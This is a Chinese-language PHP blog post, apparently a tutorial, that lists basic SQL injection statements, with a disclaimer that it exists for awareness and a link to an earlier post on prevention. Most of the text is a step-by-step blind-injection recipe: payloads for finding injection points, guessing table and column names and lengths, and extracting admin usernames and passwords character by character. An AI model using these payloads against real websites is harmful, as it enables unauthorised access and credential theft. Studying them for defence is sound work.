霜天部落 | 专注PHP研发,研究LAMP高性能架构部署与优化

SQL注入语句基础

首先声明一下,写这篇文章并不是为了让大家去hack别人的网站,而是让大家都了解一下SQL注入会带来哪些安全隐患,做到知己知彼,防患于未然。关于如何防止SQL注入,请看我以前发表的一篇文章:如何在PHP中防止SQL注入式攻击

SQL注入基础语句:

1、判断有无注入点

‘ and 1=1 and 1=2
’ or 1=1

2、猜表,一般的表的名称是admin,adminuser,user,pass,password 等等,大家平时可以积累一些

and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表

3、猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4、猜解字段名称 在length( ) 括号里面加上我们想到的字段名称 and 1=(select count(*) from admin where length(*)>0)

and 1=(select count(*) from admin where length(用户字段名称name)>0)
and 1=(select count(*) from admin where length(密码字段名称password)>0)

5、猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where length(*)>0)
and 1=(select count(*) from admin where length(name)>6) 错误
and 1=(select count(*) from admin where length(name)>5) 正确 长度是6
and 1=(select count(*) from admin where length(name)=6) 正确
and 1=(select count(*) from admin where length(password)>11) 正确
and 1=(select count(*) from admin where length(password)>12) 错误 长度是12
and 1=(select count(*) from admin where length(password)=12) 正确

6、猜解字符

and 1=(select count(*) from admin where left(name,1)=’a’) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的前二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了